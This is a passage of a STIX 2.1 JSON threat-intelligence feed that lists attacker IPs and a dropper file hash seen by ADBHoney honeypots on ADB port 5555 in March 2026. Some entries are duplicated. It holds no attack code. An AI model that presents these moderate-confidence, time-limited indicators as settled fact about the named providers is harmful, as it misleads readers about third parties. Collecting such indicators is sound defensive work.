      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-19T13:06:06.000Z | last_seen=2026-03-19T13:16:16.117Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--e0bf3ba7-2e22-4115-9d66-dc02de9ca192",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T14:00:03.000Z",
      "valid_until": "2026-04-20T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-19T13:06:06.000Z",
          "last_seen": "2026-03-19T13:16:16.117Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=TW; asn=208137; asn_org=Feo Prest SRL; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=45 | first_seen=2026-03-19T14:14:44.000Z | last_seen=2026-03-31T14:59:26.199Z | ports=5555 | cc=TW | asn=208137 | org=Feo Prest SRL",
      "id": "indicator--53201141-1501-413e-8f49-f567cab19f3a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T15:00:02.000Z",
      "valid_until": "2026-04-20T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 45,
          "first_seen": "2026-03-19T14:14:44.000Z",
          "last_seen": "2026-03-31T14:59:26.199Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TW"
          ],
          "asn": [
            "208137"
          ],
          "org": [
            "Feo Prest SRL"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=TW; asn=208137; asn_org=Feo Prest SRL; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=36 | first_seen=2026-03-19T14:20:23.000Z | last_seen=2026-03-31T14:59:43.170Z | ports=5555 | cc=TW | asn=208137 | org=Feo Prest SRL",
      "id": "indicator--84673100-fe63-4f33-90f5-d8fc49e6e87c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T15:00:02.000Z",
      "valid_until": "2026-04-20T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 36,
          "first_seen": "2026-03-19T14:20:23.000Z",
          "last_seen": "2026-03-31T14:59:43.170Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TW"
          ],
          "asn": [
            "208137"
          ],
          "org": [
            "Feo Prest SRL"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=TW; asn=208137; asn_org=Feo Prest SRL; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=19 | first_seen=2026-03-19T14:20:13.000Z | last_seen=2026-03-31T14:59:43.159Z | ports=5555 | cc=TW | asn=208137 | org=Feo Prest SRL",
      "id": "indicator--ede496af-59dd-4f20-9331-55355ff36af5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T15:00:02.000Z",
      "valid_until": "2026-04-20T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 19,
          "first_seen": "2026-03-19T14:20:13.000Z",
          "last_seen": "2026-03-31T14:59:43.159Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TW"
          ],
          "asn": [
            "208137"
          ],
          "org": [
            "Feo Prest SRL"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T18:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=GB; asn=42624; asn_org=Global-Data System IT Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=38 | first_seen=2026-03-19T17:53:21.000Z | last_seen=2026-03-19T23:52:51.200Z | ports=5555 | cc=GB | asn=42624 | org=Global-Data System IT Corporation",
      "id": "indicator--605ab4f7-0a56-464e-80a9-762e87574b66",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.196.9.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T18:00:03.000Z",
      "valid_until": "2026-04-20T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 38,
          "first_seen": "2026-03-19T17:53:21.000Z",
          "last_seen": "2026-03-19T23:52:51.200Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "42624"
          ],
          "org": [
            "Global-Data System IT Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=47; ports=5555; cc=CN; asn=4808; asn_org=China Unicom Beijing Province Network; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=50 | first_seen=2026-03-19T18:48:49.000Z | last_seen=2026-03-19T19:00:06.249Z | ports=5555 | cc=CN | asn=4808 | org=China Unicom Beijing Province Network",
      "id": "indicator--495c2695-b585-4ffd-a6f2-2ec252946f2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '106.75.13.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:00:03.000Z",
      "valid_until": "2026-04-20T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 50,
          "first_seen": "2026-03-19T18:48:49.000Z",
          "last_seen": "2026-03-19T19:00:06.249Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4808"
          ],
          "org": [
            "China Unicom Beijing Province Network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=58466; asn_org=CHINANET Guangdong province network; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-19T18:48:41.000Z | last_seen=2026-03-19T18:49:42.227Z | ports=5555 | cc=CN | asn=58466 | org=CHINANET Guangdong province network",
      "id": "indicator--6df721c2-c0a4-40f9-9f06-4dd5d73fe700",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '106.75.189.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:00:03.000Z",
      "valid_until": "2026-04-20T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-19T18:48:41.000Z",
          "last_seen": "2026-03-19T18:49:42.227Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "58466"
          ],
          "org": [
            "CHINANET Guangdong province network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-19T18:31:23.000Z | last_seen=2026-03-19T18:32:25.964Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--70d439a0-dafa-46e6-8bf3-10ce9cf9677b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '42.102.228.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:00:03.000Z",
      "valid_until": "2026-04-20T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-19T18:31:23.000Z",
          "last_seen": "2026-03-19T18:32:25.964Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=134543; asn_org=China Unicom Guangdong IP network; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-19T20:23:48.000Z | last_seen=2026-03-21T15:39:37.483Z | ports=5555 | cc=CN | asn=134543 | org=China Unicom Guangdong IP network",
      "id": "indicator--1a0901fa-d741-4da9-a60b-97a69d47d613",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.90.220.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T21:00:03.000Z",
      "valid_until": "2026-04-20T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-19T20:23:48.000Z",
          "last_seen": "2026-03-21T15:39:37.483Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134543"
          ],
          "org": [
            "China Unicom Guangdong IP network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=SC; asn=209702; asn_org=Soldatov Alexey Valerevich; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-13T03:14:35.000Z | last_seen=2026-03-19T21:15:20.001Z | ports=5555 | cc=SC | asn=209702 | org=Soldatov Alexey Valerevich",
      "id": "indicator--c294083f-3316-4d0e-9e64-b34abfb74313",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.246.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T22:00:02.000Z",
      "valid_until": "2026-04-20T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-13T03:14:35.000Z",
          "last_seen": "2026-03-19T21:15:20.001Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SC"
          ],
          "asn": [
            "209702"
          ],
          "org": [
            "Soldatov Alexey Valerevich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=SC; asn=209702; asn_org=Soldatov Alexey Valerevich; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-13T03:14:35.000Z | last_seen=2026-03-19T21:15:20.001Z | ports=5555 | cc=SC | asn=209702 | org=Soldatov Alexey Valerevich",
      "id": "indicator--c294083f-3316-4d0e-9e64-b34abfb74313",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.246.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T22:00:02.000Z",
      "valid_until": "2026-04-20T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-13T03:14:35.000Z",
          "last_seen": "2026-03-19T21:15:20.001Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SC"
          ],
          "asn": [
            "209702"
          ],
          "org": [
            "Soldatov Alexey Valerevich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T00:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-19T23:50:23.000Z | last_seen=2026-03-19T23:51:31.559Z | ports=5555 | cc=CN | asn=37963 | org=Hangzhou Alibaba Advertising Co.,Ltd.",
      "id": "indicator--32ddcd2f-624f-42d2-8c06-9f994456e74d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '47.111.23.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:00:04.000Z",
      "valid_until": "2026-04-21T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-19T23:50:23.000Z",
          "last_seen": "2026-03-19T23:51:31.559Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "37963"
          ],
          "org": [
            "Hangzhou Alibaba Advertising Co.,Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T00:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d.raw; last_seen=2026-03-19T23:42:52.735Z",
      "id": "indicator--a28ea220-5396-4adc-84ec-f859e24b95ed",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T00:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-19T23:50:23.000Z | last_seen=2026-03-19T23:51:31.559Z | ports=5555 | cc=CN | asn=37963 | org=Hangzhou Alibaba Advertising Co.,Ltd.",
      "id": "indicator--32ddcd2f-624f-42d2-8c06-9f994456e74d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '47.111.23.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:00:04.000Z",
      "valid_until": "2026-04-21T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-19T23:50:23.000Z",
          "last_seen": "2026-03-19T23:51:31.559Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "37963"
          ],
          "org": [
            "Hangzhou Alibaba Advertising Co.,Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T00:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d.raw; last_seen=2026-03-19T23:42:52.735Z",
      "id": "indicator--a28ea220-5396-4adc-84ec-f859e24b95ed",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=20473; asn_org=The Constant Company, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-20T02:48:01.000Z | last_seen=2026-03-20T02:49:03.973Z | ports=5555 | cc=NL | asn=20473 | org=The Constant Company, LLC",
      "id": "indicator--e13100bb-beb5-4bd6-a2bf-249969e4c4ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '108.61.188.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T03:00:03.000Z",
      "valid_until": "2026-04-21T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-20T02:48:01.000Z",
          "last_seen": "2026-03-20T02:49:03.973Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "20473"
          ],
          "org": [
            "The Constant Company, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=20473; asn_org=The Constant Company, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-20T02:58:14.000Z | last_seen=2026-03-20T02:59:20.049Z | ports=5555 | cc=NL | asn=20473 | org=The Constant Company, LLC",
      "id": "indicator--53615b87-4225-48ba-b44f-f045f09e6c2e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '209.250.244.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T03:00:03.000Z",
      "valid_until": "2026-04-21T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
